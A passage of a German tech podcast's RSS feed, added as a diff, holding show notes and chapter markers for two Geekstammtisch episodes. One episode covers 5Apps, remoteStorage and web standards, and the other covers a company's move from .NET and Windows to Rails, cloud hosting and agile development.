+<ul>
+<li>Sebastian Kippe (<a href="https://twitter.com/skddc">@skddc</a>)</li>
+<li>Gründer von 5Apps (<a href="https://5apps.com/">https://5apps.com/</a>)</li>
+<li>Railscamp Germany 2013 Organizer</li>
+<li>Arbeitet an remoteStorage (<a href="http://remotestorage.io">http://remotestorage.io</a>) und anderen Open Source Projekten</li>
+</ul>
+
+<h3>Hackertrips (00:02:23)</h3>
+
+<ul>
+<li>AfricaHackTrip 2013: <a href="http://africahacktrip.org">http://africahacktrip.org</a></li>
+<li>Geeksphone (Firefox OS developer device): <a href="http://www.geeksphone.com">http://www.geeksphone.com</a></li>
+<li>Hacker Beach: <a href="http://hackerbeach.org">http://hackerbeach.org</a>
+
+<ul>
+<li>Einfach über Weihnachten mal ein Flugticket buchen und kommen.</li>
+</ul></li>
+</ul>
+
+<h3>5Apps (00:06:08)</h3>
+
+<ul>
+<li>Haben eine Vision und implementieren verschiedene Produkte, um diese zu erreichen.</li>
+<li>sind WC3 Mitglied: <a href="https://5apps.com/press/2013-05-28-5apps-joins-w3c-to-help-shape-the-web">https://5apps.com/press/2013-05-28-5apps-joins-w3c-to-help-shape-the-web</a></li>
+<li>Wir diskutieren über die aktuellen Trends im HTML5/CSS/… Sektor</li>
+<li>Die 5Apps Vision: Alle Anwendungssoftware für den User soll auf der der Open Web Platform aufbauen.</li>
+</ul>
+
+<h3>Web Apps (00:08:56)</h3>
+
+<ul>
+<li>Packaging von client-side Web Anwendungen
+
+<ul>
+<li>Packaged Web Apps (Widgets) - Packaging and XML Configuration: <a href="http://www.w3.org/TR/widgets/">http://www.w3.org/TR/widgets/</a></li>
+<li>Open Web App manifest: <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Manifest">https://developer.mozilla.org/en-US/docs/Web/Apps/Manifest</a></li>
+</ul></li>
+<li>Ausflug: Java Web Start (<a href="https://en.wikipedia.org/wiki/Java_Web_Start">https://en.wikipedia.org/wiki/Java<em>Web</em>Start</a>) und Java Applets (<a href="https://en.wikipedia.org/wiki/Java_applet">https://en.wikipedia.org/wiki/Java_applet</a>).</li>
+<li>Dart: <a href="http://en.wikipedia.org/wiki/Dart_(programming_language)">http://en.wikipedia.org/wiki/Dart<em>(programming</em>language)</a></li>
+<li>Produkte bei Google Apps for Business: <a href="http://www.google.com/enterprise/apps/business/products.html">http://www.google.com/enterprise/apps/business/products.html</a></li>
+<li>Google Reader Replacement: Basti und Basti benutzen <a href="https://feedbin.me/">https://feedbin.me/</a></li>
+<li><strong>DIE</strong> RSS Mailing Liste von Brent Simmons: <a href="http://inessential.com/2013/03/17/rss-sync_mailing_list">http://inessential.com/2013/03/17/rss-sync_mailing_list</a></li>
+</ul>
+
+<h3>5Apps Deploy und Storage &amp; remoteStorage (00:16:00)</h3>
+
+<ul>
+<li>Das erste Produkt von 5Apps: 5Apps Deploy</li>
+<li>PaaS für Client-side JavaScript Apps</li>
+<li>Hilft zusätzlich zu einem &quot;git push&quot;-Deploy z.B. beim Packaging</li>
+<li>Weitere zukünftige Dienste von 5Apps Deploy:
+
+<ul>
+<li>JavaScript Exception Tracking</li>
+<li>Web store/payment integration</li>
+</ul></li>
+<li>5Apps Storage
+
+<ul>
+<li>work in progress (schon experimentell kostenlos bei jedem Account dabei)</li>
+<li>basiert auf remoteStorage (siehe oben)</li>
+<li>Idee: Daten liegen nicht beim App-Anbieter (z.B. Google), sondern wo der User das will</li>
+</ul></li>
+<li>remoteStorage ist ein Protokoll für einen Key-Value Speicher <a href="http://remotestorage.io/">http://remotestorage.io/</a> <a href="http://tools.ietf.org/html/draft-dejong-remotestorage-01">http://tools.ietf.org/html/draft-dejong-remotestorage-01</a></li>
+<li>Webfinger: <a href="https://code.google.com/p/webfinger/">https://code.google.com/p/webfinger/</a></li>
+<li>remoteStorage: Umziehen des Anbieters?
+
+<ul>
+<li>aktuell nicht direkt vorgesehen, wenn dann muss das der Client machen, oder der Serveranbieter selbst anbieten</li>
+<li>Google Takeout: <a href="https://www.google.com/takeout">https://www.google.com/takeout</a></li>
+</ul></li>
+<li>Verschiedene Apps sollen die selben Daten benutzen können
+
+<ul>
+<li>und eben nicht wie bei iCloud!</li>
+</ul></li>
+<li>Konflikte werden im Moment bei remoteStorage noch wenig berücksichtigt :-/</li>
+<li>remoteStorage.js funktioniert auch offline</li>
+<li>ownCloud: <a href="http://owncloud.org/">http://owncloud.org</a></li>
+<li>Unhosted: <a href="https://unhosted.org">https://unhosted.org</a></li>
+<li>5Apps benutzt Riak für ihr remoteStorage Produkt und App Hosting</li>
+</ul>
+
+<h3>Das W3C, DRM &amp; App Stores (00:27:10)</h3>
+
+<ul>
+<li>5Apps ist unter anderem in der Web Apps Working Group: <a href="http://www.w3.org/2008/webapps/">http://www.w3.org/2008/webapps/</a></li>
+<li>Sebastian ist schon länger in der HTML Working Group</li>
+<li>W3C bei Github: <a href="https://github.com/w3c">https://github.com/w3c</a>
+
+<ul>
+<li><a href="https://github.com/w3c/manifest">https://github.com/w3c/manifest</a></li>
+</ul></li>
+<li>Der dritte wichtige Schritt bei 5Apps: App Store(s)</li>
+<li>Freie Apps, selbst gehostet, ohne Lock-In</li>
+<li>Open Source als Kern eines Unternehmens gibt es immer häufiger
+
+<ul>
+<li>z.B. Basho mit Riak</li>
+</ul></li>
+<li>Früher™ war das Web schon mal offener</li>
+<li>Wir schweifen kurz richtung Videostandards für’s Web ab: webm/VP8, h.265</li>
+<li>Gedankenexperiment: h.264 freikaufen</li>
+<li>Das W3C und DRM: <a href="http://www.w3.org/QA/2013/03/drm_and_the_open_web.html">http://www.w3.org/QA/2013/03/drm<em>and</em>the<em>open</em>web.html</a>
+
+<ul>
+<li>Encrypted Media Extensions: <a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/encrypted-media/encrypted-media.html">https://dvcs.w3.org/hg/html-media/raw-file/tip/encrypted-media/encrypted-media.html</a></li>
+<li>Proprietäre DRM-Module</li>
+<li>eigentlich nicht vereinbar mit den Zielen des W3Cs <a href="http://www.w3.org/Consortium/mission#principles">http://www.w3.org/Consortium/mission#principles</a></li>
+</ul></li>
+</ul>
+
+<h3>HTTP 2.0, IPv6, SSL (00:40:15)</h3>
+
+<ul>
+<li>HTTP 2.0 (<a href="http://en.wikipedia.org/wiki/HTTP_2.0">http://en.wikipedia.org/wiki/HTTP_2.0</a>) und SPDY (<a href="http://en.wikipedia.org/wiki/SPDY">http://en.wikipedia.org/wiki/SPDY</a>)</li>
+<li>5Apps unterstützt SPDY für das App Hosting und für den 5Apps Storage</li>
+<li>…aber kein IPv6 :-/</li>
+<li>Custom Domain SSL ist teuer
+
+<ul>
+<li>20 USD/Monat bei Heroku: <a href="https://addons.heroku.com/ssl">https://addons.heroku.com/ssl</a></li>
+<li>600 USD/Monat bei AWS CloudFront: <a href="http://aws.amazon.com/cloudfront/custom-ssl-domains/">http://aws.amazon.com/cloudfront/custom-ssl-domains/</a></li>
+</ul></li>
+<li>In neuen Browsern gibt es keine Warnungen mehr bei unsicherem Content, sondern der wird geblockt</li>
+</ul>
+
+<h3>Ops und Infrastruktur bei 5Apps (00:46:51)</h3>
+
+<ul>
+<li>5Apps: zwei Vollzeit Entwickler und ein Infrastruktur-Entwickler: <a href="https://5apps.com/about#team">https://5apps.com/about#team</a></li>
+<li>Brightbox Cloud: <a href="http://brightbox.com/">http://brightbox.com/</a>
+
+<ul>
+<li>UK, gute API, Support in fog (<a href="http://fog.io/">http://fog.io/</a>)</li>
+</ul></li>
+<li>Im Einsatz bei 5Apps: Rails, Sinatra, Unicorn, Resque, Gitolite</li>
+<li>nginx als Webserver, Loadbalancer (intern und extern)</li>
+<li>Riak: <a href="http://basho.com/riak/">http://basho.com/riak/</a></li>
+<li>chef: <a href="http://www.opscode.com/chef/">http://www.opscode.com/chef/</a>
+
+<ul>
+<li>Infrastruktur</li>
+<li>Deployment (<a href="http://community.opscode.com/cookbooks/application">http://community.opscode.com/cookbooks/application</a>)</li>
+<li>Knife Spork <a href="https://github.com/jonlives/knife-spork">https://github.com/jonlives/knife-spork</a></li>
+</ul></li>
+<li>Travis CI Pro: <a href="http://travis-ci.com/">http://travis-ci.com/</a>
+
+<ul>
+<li>CI</li>
+<li>Asset Compilation</li>
+<li>Deployment</li>
+<li>leider noch invite-only</li>
+</ul></li>
+</ul>
+
+<h3>Travis Foundation &amp; RailsGirls: Summer of Code (00:57:00)</h3>
+
+<ul>
+<li>Travis Foundation: <a href="http://about.travis-ci.org/foundation/">http://about.travis-ci.org/foundation</a></li>
+<li>RailsGirls Summer of Code: <a href="http://railsgirlssummerofcode.org">http://railsgirlssummerofcode.org</a></li>
+</ul>
+
+<h3>Self-Hosted Cloud, GPG, Apple und HTML5 (01:00:08)</h3>
+
+<ul>
+<li>5Apps strebt auch langfristig self-hosting an</li>
+<li>SURFnet: <a href="http://www.surfnet.nl/en/Pages/default.aspx">http://www.surfnet.nl/en/Pages/default.aspx</a></li>
+<li>SAML <a href="http://en.wikipedia.org/wiki/Security_Assertion_Markup_Language">http://en.wikipedia.org/wiki/Security<em>Assertion</em>Markup_Language</a></li>
+<li>Anynines <a href="http://www.anynines.com/">http://www.anynines.com</a></li>
+<li>CloudFoundry <a href="http://www.cloudfoundry.com">http://www.cloudfoundry.com</a></li>
+<li>GPGMail für OS X <a href="https://gpgtools.org/gpgmail/index.html">https://gpgtools.org/gpgmail/index.html</a></li>
+<li>ThinkPad X1 <a href="http://shop.lenovo.com/us/en/laptops/thinkpad/x-series/x1-carbon/index.html">http://shop.lenovo.com/us/en/laptops/thinkpad/x-series/x1-carbon/index.html</a></li>
+<li>OS X Mavericks Safari <a href="http://www.apple.com/osx/preview/#safari">http://www.apple.com/osx/preview/#safari</a></li>
+<li>Apple Mac Pro website <a href="http://www.apple.com/mac-pro/">http://www.apple.com/mac-pro</a></li>
+<li>iWork for iCloud <a href="https://www.apple.com/iwork-for-icloud/">https://www.apple.com/iwork-for-icloud</a></li>
+<li>XHTML <a href="http://www.w3.org/TR/xhtml1/">http://www.w3.org/TR/xhtml1/</a></li>
+<li>XHTML Fehlerseite für invalides Markup <a href="http://cafe.elharo.com/wp-content/uploads/2008/06/01fig02.png">http://cafe.elharo.com/wp-content/uploads/2008/06/01fig02.png</a></li>
+</ul>
+
+<h3>Bitcoin / Namecoin (01:17:30)</h3>
+
+<ul>
+<li>Mozilla Persona :<a href="https://persona.org">https://persona.org</a></li>
+<li>Bitcoin: <a href="https://en.bitcoin.it/wiki/Main_Page">https://en.bitcoin.it/wiki/Main_Page</a></li>
+<li>Namecoin: <a href="http://dot-bit.org/Namecoin">http://dot-bit.org/Namecoin</a> <a href="http://dot-bit.org/Main_Page">http://dot-bit.org/Main_Page</a></li>
+<li>Bitcoin Meetups im Startplatz: <a href="http://www.startplatz.de/event/2-bitcoin-konferenz">http://www.startplatz.de/event/2-bitcoin-konferenz</a></li>
+<li>Bitcoin Kiez: <a href="http://bitcoinkiez.wordpress.com">http://bitcoinkiez.wordpress.com</a></li>
+<li>Room 77: <a href="http://room77.de">http://room77.de</a></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST018" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Unser Gast" />
+
+ <psc:chapter start="00:02:23" title="Hackertrips" />
+
+ <psc:chapter start="00:06:08" title="5Apps" />
+
+ <psc:chapter start="00:08:56" title="Web Apps" />
+
+ <psc:chapter start="00:16:00" title="5Apps Deploy und Storage &amp; remoteStorage" />
+
+ <psc:chapter start="00:27:10" title="Das W3C, DRM &amp; App Stores" />
+
+ <psc:chapter start="00:40:15" title="HTTP 2.0, IPv6, SSL" />
+
+ <psc:chapter start="00:46:51" title="Ops und Infrastruktur bei 5Apps" />
+
+ <psc:chapter start="00:57:00" title="Travis Foundation &amp; RailsGirls: Summer of Code" />
+
+ <psc:chapter start="01:00:08" title="Self-Hosted Cloud, GPG, Apple und HTML5" />
+
+ <psc:chapter start="01:17:30" title="Bitcoin / Namecoin" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST019 - Weg von .NET &amp; Windows</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Stefan Schiffer (@scrat0105) über die Wandlung eines Unternehmens</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst019.mp3" length="56023780" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST019</guid>
+ <pubDate>Sat, 27 Jul 2013 16:29:29 +0200</pubDate>
+ <itunes:duration>01:17:25</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis**: Wir hatten dieses Mal Stefan Schiffer (@scrat0105) zu Gast. Er berichtet von dem doch sehr radikalen Wandel seines Arbeitgebers: Von On-Premise zu SaaS und Cloud, von Wasserfall-Prozessen hin zu Agiler Softwareentwicklung und von .NET & Windows zu Ruby & Linux. Stefan erzählt, woher der Wandel kommt und wie er den Wandel von Anfang an miterlebt hat.
+
+### Intro (00:00:00)
+
+ * Kurz in eigener Sache
+ * opus-Feed: http://geekstammtisch.de/episodes.opus.rss
+ * Rheinklick: Die digitale Offensive des Kölner Stadt-Anzeiger rund um die Kölner Tech-Szene
+ * der Geekstammtisch beim Rheinklick-Blog: http://www.ksta.de/rheinklick/podcast-des-geekstammtischs-gruende--in-koeln-zu-gruenden,22789250,23728778.html
+ * Wir sind auf dem Railscamp
+
+### Unser Gast (00:03:24)
+
+ * Stefan Schiffer: @scrat0105, https://www.xing.com/profiles/Stefan_Schiffer8
+ * hört gern denn Geekstammtisch <3
+ * hat mit Dirk und Basti Medieninformatik an der FH Köln studiert
+ * wollte immer in Richtung UX
+ * macht seit ~2 Jahren Rails
+ * explizite Stellen für Interaction Design sind eher unüblich
+
+### InVision (00:06:02)
+
+ * Stefan arbeitet bei InVision AG: http://www.invision.de
+ * InVision ein solides mittelstänidges Unternehmen aus der klassichen B2B On Premise Welt
+ * Jetzt allerdings radikaler Wandel: Weg von On Premise hin zur Cloud und zu SaaS
+ * InVision stellt Software für die Personaleinsatzplanung wie etwa Personal-Forecasting her
+ * Vor 3-4 Jahren kam die Erkenntnis, dass man sich technologisch modernisieren muss
+ * War mit der damaligen Software schwierig bis unmöglich
+ * Daher war eine Schnitt unvermeidbar
+ * InVision ist _kein_ Startup
+ * Mittlerweile hat sich eine "Startup-Mentalität" eingestellt
+ * Von Individualsoftware hin zu webbasierten Diensten
+ * Das UX-Team kommt hier viel besser zum Einsatz
+ * Vorher gab es eine C#/.NET-basierte Lösung mit viel lizensierter Drittanbietersoftware
+ * Das neue, Rails-basierte Produkt ist noch nicht in Gänze live
+ * Das Ziel ist, dass das neue Produkt das alte irgendwann ablöst
+ * Die alte Software lebt nun auch in der Cloud und wird weiterhin betrieben
+ * Diese Lösung ist auch schon als Saas verfügbar
+ * Neue Kompotenten greifen auch noch teilweise auf die alte Software zu
+ * Bestandskunden wechseln nach und nach auf die Cloud-basierte Variante
+ * Vor allem sehr große Kunden sind noch auf der On Premise Version
+ * Die Cloud der Wahl ist AWS (inkl. Windowsserver für die alte Umgebung)
+ * Kunden, die die On Premise Lösung einsetzen können bereits auf neue Clouddienste zugreifen
+ * Beispiel dafür ist das Cloud-basierte Forecasting, was bereits jetzt einen Mehrwert bietet
+ * Bedingt dadurch hat man nicht nur einmalige Migrationen von Altdaten, sondern auch eine konstante Verbindung zwischen den Systemen
+ * 80% der Entwickler arbeiten auf dem neuen System, 20% arbeiten an der Pflege des Altsystems
+ * Entwicklung findet an drei Standorten statt (Derry/Londonderry, Ratingen, Leipzig)
+ * Jeder Standort hat mehrere Teams für unterschiedliche Komponenten der Software
+ * Neben den Entwicklungsteams, gibt es noch Service-Teams für UX und Technical Writing, die allen Teams zur Verfügung stehen
+ * Es gibt ein Operations-Team in Derry/Londonderry und es wird ein DevOps-Team in Ratingen aufgebaut
+ * 50-60 Menschen in der Produktentwicklung
+
+### Out of the Dark (00:17:40)
+
+ * Was war der Auslöser für den radikalen Wandel?
+ * Technologische Erweiterbarkeit war nicht mehr gegeben
+ * Zwei Möglichkeiten: Entweder radikal aufräumen, oder von Vorne anfangen
+ * Man war von der Cloud und ihren Möglichkeiten für den Anwendungsfall überzeugt
+ * Erst kam der Switch zur Cloud und erst danach der Wechsel der Technologie
+ * Gleichzeitig mit der Technologie wurde der Entwicklungsprozess und die Unternehmensstruktur radikal geändert
+ * Wichtig war, dass die Unternehmensführung zu 100% dahinter steht
+ * Ja, es sind Leute auf der Strecke geblieben: Es sind mehr Leute gegangen als die normale Fluktuation
+ * Die Änderung der Unternehmensstruktur war im Nachgang eine Bedingung für den neuen Prozess
+ * Mitarbeiter müssen Verantwortung übernehmen
+ * Vorteil: Fachwissen gefestigt, Probleme bekannt und weitestgehend gelöst, Kundenstamm vorhanden
+ * Nachteil: Niemand kannte Rails, niemand war firm in agiler Softwareentwicklung
+ * Zu Beginn Scrum nach Lehrbuch inkl. externen Trainings
+ * Heute wird Scrum _nicht_ in Reinform gemacht, was die typische Entwicklung ist
+
+### Von C# hin zu Rails (00:26:38)
+
+ * Schwerfällige Entwicklung
+ * Automatisiertes Testing nur sehr schwer möglich
+ * In der C#-Welt ist Open-Source nicht sehr populär
+ * Entscheidung für Rails ist eher spontan gefallen
+ * Prototypen wurden mit Rails erstellt und das Vorgehen hat überzeugt
+ * Danach hat man sich entschieden, dass man einfach weiter darin arbeitet und die Prototypen noch mal neumacht
+ * Lizensierung und deren Kosten ein tatsächliches Problem
+ * Kosten für die Server in der Cloud waren auch ein Problem
+ * Herausforderungen beim Umstieg auf Rails war vor allem zu lernen was es bedeutet Web-Anwendungen zu schreiben
+ * Ansonsten die üblichen Probleme: Neue Sprache, neues Framework, neues Paradigma
+ * QA musste lernen Tests zu schreiben
+ * Keine IDE mehr, sondern arbeiten mit Texteditor und CLI, vor allem durch den "Wegfall" des Debuggers
+ * "Ich kann gar nicht mehr debuggen"
+ * Zudem kam auch noch ein Wechsel des Betriebssystems ^^
+ * Man musste auch lernen wie man deployed und Server provisioniert
+ * Jenkins zur Realisierung der Deployment-Pipeline
+ * Provisionierung der Server mit Chef
+ * Genutzte Dienste von AWS: Vor allem EC2, ELB und S3
+ * DB wird selber auf EC2 gehostet
+ * Basti weist mal wieder darauf hin, dass AWS sich nur lohnt, wenn man es richtig nutzt und automatisch provisioniert
+ * Stefan erzählt, dass sie am Anfang EC2 "nur" als Server in der Cloud gesehen haben und erst den richtigen Umgang lernen mussten
+ * Stefan meint, sie sind fast fertig, aber fertig wird man ja eh nicht
+ * Initiale Wissenslücke durch Trainings, Workshops und Self-Training geschlossen
+ * Man musste lernen, dass man seinen eigenen Code auch mal wegwerfen muss
+
+### Agile Softwareentwicklung (00:38:20)
+
+ * Während der Umstellung auf neue Technologien hat man sich die Frage gestellt, warum schreiben wir eigentlich Spezifikationen? Am Ende kommt eh nicht das raus, was der Kunde wollte?
+ * Die häufigste Antwort auf diese Fragen war: Im besten Fall war es überflüssig, aber in der Regel hat es Nachteile gebracht.
+ * Und was ist eigentlich dieses Scrum?
+ * SaaS eignet sich perse nicht für Wasserfall, man muss viel schneller reagieren können
+ * Man hört ganz anders auf die Kunden: Nicht mehr der einzelne zählt, sondern der Bedarf des Marktes
+ * Dadurch musste auch der Produktbereich umlernen bzw. überhaupt aufgebaut werden
+ * Entscheidungen über Produktänderungen werden vor allem in den einzelnen Teams getroffen
+ * Am Anfang war es schwierig ein Produkt ohne echte Kunden zu entwickeln
+ * Die Lücke musste durch internes Know-How geschlossen werden
+ * Das machte auch Reviews schwierig
+ * Mittlerweile haben alle Teams den selben Sprint-Rythmus und machen ihr Review gemeinsam in einem Conference-Call
+ * Stefan ist zufrieden mit dem Transformationsprozess
+ * besondere positive Aspekte, der Mehrwert der Umstellung
+ * direktes und schnelles Feedback
+ * worst-case werden nur 1-2 Sprints an Zeit "weggeworfen"
+ * Retrospektiven werden noch etwas stiefmütterlich behandelt
+ * Teams arbeiten sehr eigenverantwortlich
+ * jedes Team betreibt ihre eigenen Komponenten/Module
+ * organisieren selbst Urlaub im Team
+ * Standortübergreifende Kommunikation ist eine Herausforderung
+ * Module, die enger zusammenarbeiten und direkte Abhängigkeiten haben, sind nach Möglichkeit am selben Standort angesiedelt
+ * Ausnahme, das UX Team: Das Team ist verteilt und unterstüzt die anderen Teams
+ * Technologie/Architekturentscheidungen werden in einer Art Architekturboard getroffen, nachdem es Vorschläge und Bewertungen aus dem jeweiligen Team gab.
+
+### Technical Depts, eigene gems als externe Dependencies (00:54:19)
+
+ * "Technische Schulden" hat jeder, egal wie jung oder alt ein Projekt ist
+ * Es gibt ein paar Regeln, wie mit Technical Depts umzugehen ist:
+ * erst kommen Bugs, dann Technical Depts und dann User Features
+ * interne gems, werden von den Teams wie externe Dependencies verwendet (mit Pull Requests, Forks usw.)
+ * dadurch, dass alle Teams quasi eigene Rails Apps entwickeln, sind die Teams relativ unabhängig von Entscheidungen, wie erb vs HAML oder CSS/SCSS/…
+ * mitlerweile wird nur noch HAML benutzt: http://haml.info/
+
+### Lernprozesse & Kulturwandel (01:01:25)
+
+ * Andauernder Learnprozess, viele Fehler, viel gelernt
+ * Zusammen mit dem technischen Wandel gab es auch einen starken "kulturellen" Wandel
+ * neuer Entwicklungsansatz, neue Motiviation gute Qualität abzuliefern
+ * Collective (code) Ownership: http://www.extremeprogramming.org/rules/collective.html
+ * ständier Lern- und Verbesserungsprozess
+
+### APIs, Service-Orientierung (01:03:47)
+
+ * Die bisherige On-Premise-Lösung war nicht Service-orientiert
+ * Jetzt geht es schon mehr in diese Richtung
+ * z.B. gibt es ein zentrales User-Management (Service)
+ * API spricht JSON via HTTP
+ * wird bereitgestellt durch gems
+ * Services/Module haben ihre eigenen Datenbanken
+
+### Zum Abschluss (01:09:12)
+
+ * Wir sind beeindruckt von dem doch radikalen und positiven Wandel, den Stefan beschrieben hat
+ * Wir sind uns einig, dass ein ganzheitlicher Ansatz am erfolgversprechendsten ist
+ * InVision sucht noch Entwickler und vor allem Leute, die DevOps machen wollen
+ * Basti hat eine Mail mit Jobangebot bekommen, worin mit einem Foto von Clubmate im Kühlschrank geworben wurde :)
+ * Mate gibt es bei InVision noch nicht, aber es wird gegrillt (reicht nicht ganz ^^)]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis</strong>: Wir hatten dieses Mal Stefan Schiffer (<a href="https://twitter.com/scrat0105">@scrat0105</a>) zu Gast. Er berichtet von dem doch sehr radikalen Wandel seines Arbeitgebers: Von On-Premise zu SaaS und Cloud, von Wasserfall-Prozessen hin zu Agiler Softwareentwicklung und von .NET &amp; Windows zu Ruby &amp; Linux. Stefan erzählt, woher der Wandel kommt und wie er den Wandel von Anfang an miterlebt hat.</p>
+
+<h3>Intro (00:00:00)</h3>
+
+<ul>
+<li>Kurz in eigener Sache
+
+<ul>
+<li>opus-Feed: <a href="http://geekstammtisch.de/episodes.opus.rss">http://geekstammtisch.de/episodes.opus.rss</a></li>
+<li>Rheinklick: Die digitale Offensive des Kölner Stadt-Anzeiger rund um die Kölner Tech-Szene</li>
+<li>der Geekstammtisch beim Rheinklick-Blog: <a href="http://www.ksta.de/rheinklick/podcast-des-geekstammtischs-gruende--in-koeln-zu-gruenden,22789250,23728778.html">http://www.ksta.de/rheinklick/podcast-des-geekstammtischs-gruende--in-koeln-zu-gruenden,22789250,23728778.html</a></li>
+<li>Wir sind auf dem Railscamp</li>
+</ul></li>
+</ul>
+
+<h3>Unser Gast (00:03:24)</h3>
+
+<ul>
+<li>Stefan Schiffer: <a href="https://twitter.com/scrat0105">@scrat0105</a>, <a href="https://www.xing.com/profiles/Stefan_Schiffer8">https://www.xing.com/profiles/Stefan_Schiffer8</a></li>
+<li>hört gern denn Geekstammtisch &lt;3</li>
+<li>hat mit Dirk und Basti Medieninformatik an der FH Köln studiert</li>
+<li>wollte immer in Richtung UX</li>
+<li>macht seit ~2 Jahren Rails</li>
+<li>explizite Stellen für Interaction Design sind eher unüblich</li>
+</ul>
+
+<h3>InVision (00:06:02)</h3>
+
+<ul>
+<li>Stefan arbeitet bei InVision AG: <a href="http://www.invision.de">http://www.invision.de</a></li>
+<li>InVision ein solides mittelstänidges Unternehmen aus der klassichen B2B On Premise Welt</li>
+<li>Jetzt allerdings radikaler Wandel: Weg von On Premise hin zur Cloud und zu SaaS</li>
+<li>InVision stellt Software für die Personaleinsatzplanung wie etwa Personal-Forecasting her</li>
+<li>Vor 3-4 Jahren kam die Erkenntnis, dass man sich technologisch modernisieren muss</li>
+<li>War mit der damaligen Software schwierig bis unmöglich</li>
+<li>Daher war eine Schnitt unvermeidbar</li>
+<li>InVision ist <em>kein</em> Startup</li>
+<li>Mittlerweile hat sich eine &quot;Startup-Mentalität&quot; eingestellt
+
+<ul>
+<li>Von Individualsoftware hin zu webbasierten Diensten</li>
+<li>Das UX-Team kommt hier viel besser zum Einsatz</li>
+</ul></li>
+<li>Vorher gab es eine C#/.NET-basierte Lösung mit viel lizensierter Drittanbietersoftware</li>
+<li>Das neue, Rails-basierte Produkt ist noch nicht in Gänze live</li>
+<li>Das Ziel ist, dass das neue Produkt das alte irgendwann ablöst</li>
+<li>Die alte Software lebt nun auch in der Cloud und wird weiterhin betrieben</li>
+<li>Diese Lösung ist auch schon als Saas verfügbar</li>
+<li>Neue Kompotenten greifen auch noch teilweise auf die alte Software zu</li>
+<li>Bestandskunden wechseln nach und nach auf die Cloud-basierte Variante</li>
+<li>Vor allem sehr große Kunden sind noch auf der On Premise Version</li>
+<li>Die Cloud der Wahl ist AWS (inkl. Windowsserver für die alte Umgebung)</li>
+<li>Kunden, die die On Premise Lösung einsetzen können bereits auf neue Clouddienste zugreifen
+
+<ul>
+<li>Beispiel dafür ist das Cloud-basierte Forecasting, was bereits jetzt einen Mehrwert bietet</li>
+<li>Bedingt dadurch hat man nicht nur einmalige Migrationen von Altdaten, sondern auch eine konstante Verbindung zwischen den Systemen</li>
+</ul></li>
+<li>80% der Entwickler arbeiten auf dem neuen System, 20% arbeiten an der Pflege des Altsystems</li>
+<li>Entwicklung findet an drei Standorten statt (Derry/Londonderry, Ratingen, Leipzig)</li>
+<li>Jeder Standort hat mehrere Teams für unterschiedliche Komponenten der Software</li>
+<li>Neben den Entwicklungsteams, gibt es noch Service-Teams für UX und Technical Writing, die allen Teams zur Verfügung stehen</li>
+<li>Es gibt ein Operations-Team in Derry/Londonderry und es wird ein DevOps-Team in Ratingen aufgebaut</li>
+<li>50-60 Menschen in der Produktentwicklung</li>
+</ul>
+
+<h3>Out of the Dark (00:17:40)</h3>
+
+<ul>
+<li>Was war der Auslöser für den radikalen Wandel?
+
+<ul>
+<li>Technologische Erweiterbarkeit war nicht mehr gegeben</li>
+<li>Zwei Möglichkeiten: Entweder radikal aufräumen, oder von Vorne anfangen</li>
+<li>Man war von der Cloud und ihren Möglichkeiten für den Anwendungsfall überzeugt</li>
+</ul></li>
+<li>Erst kam der Switch zur Cloud und erst danach der Wechsel der Technologie</li>
+<li>Gleichzeitig mit der Technologie wurde der Entwicklungsprozess und die Unternehmensstruktur radikal geändert</li>
+<li>Wichtig war, dass die Unternehmensführung zu 100% dahinter steht</li>
+<li>Ja, es sind Leute auf der Strecke geblieben: Es sind mehr Leute gegangen als die normale Fluktuation</li>
+<li>Die Änderung der Unternehmensstruktur war im Nachgang eine Bedingung für den neuen Prozess</li>
+<li>Mitarbeiter müssen Verantwortung übernehmen</li>
+<li>Vorteil: Fachwissen gefestigt, Probleme bekannt und weitestgehend gelöst, Kundenstamm vorhanden</li>
+<li>Nachteil: Niemand kannte Rails, niemand war firm in agiler Softwareentwicklung</li>
+<li>Zu Beginn Scrum nach Lehrbuch inkl. externen Trainings</li>
+<li>Heute wird Scrum <em>nicht</em> in Reinform gemacht, was die typische Entwicklung ist</li>
+</ul>
+
+<h3>Von C# hin zu Rails (00:26:38)</h3>
+
+<ul>
+<li>Schwerfällige Entwicklung</li>
+<li>Automatisiertes Testing nur sehr schwer möglich</li>
+<li>In der C#-Welt ist Open-Source nicht sehr populär</li>
+<li>Entscheidung für Rails ist eher spontan gefallen
+
+<ul>
+<li>Prototypen wurden mit Rails erstellt und das Vorgehen hat überzeugt</li>
+<li>Danach hat man sich entschieden, dass man einfach weiter darin arbeitet und die Prototypen noch mal neumacht</li>
+</ul></li>
+<li>Lizensierung und deren Kosten ein tatsächliches Problem</li>
+<li>Kosten für die Server in der Cloud waren auch ein Problem</li>
+<li>Herausforderungen beim Umstieg auf Rails war vor allem zu lernen was es bedeutet Web-Anwendungen zu schreiben</li>
+<li>Ansonsten die üblichen Probleme: Neue Sprache, neues Framework, neues Paradigma</li>
+<li>QA musste lernen Tests zu schreiben</li>
+<li>Keine IDE mehr, sondern arbeiten mit Texteditor und CLI, vor allem durch den &quot;Wegfall&quot; des Debuggers</li>
+<li>&quot;Ich kann gar nicht mehr debuggen&quot;</li>
+<li>Zudem kam auch noch ein Wechsel des Betriebssystems ^^</li>
+<li>Man musste auch lernen wie man deployed und Server provisioniert</li>
+<li>Jenkins zur Realisierung der Deployment-Pipeline</li>
+<li>Provisionierung der Server mit Chef</li>
+<li>Genutzte Dienste von AWS: Vor allem EC2, ELB und S3</li>
+<li>DB wird selber auf EC2 gehostet</li>
+<li>Basti weist mal wieder darauf hin, dass AWS sich nur lohnt, wenn man es richtig nutzt und automatisch provisioniert</li>
+<li>Stefan erzählt, dass sie am Anfang EC2 &quot;nur&quot; als Server in der Cloud gesehen haben und erst den richtigen Umgang lernen mussten</li>
+<li>Stefan meint, sie sind fast fertig, aber fertig wird man ja eh nicht</li>
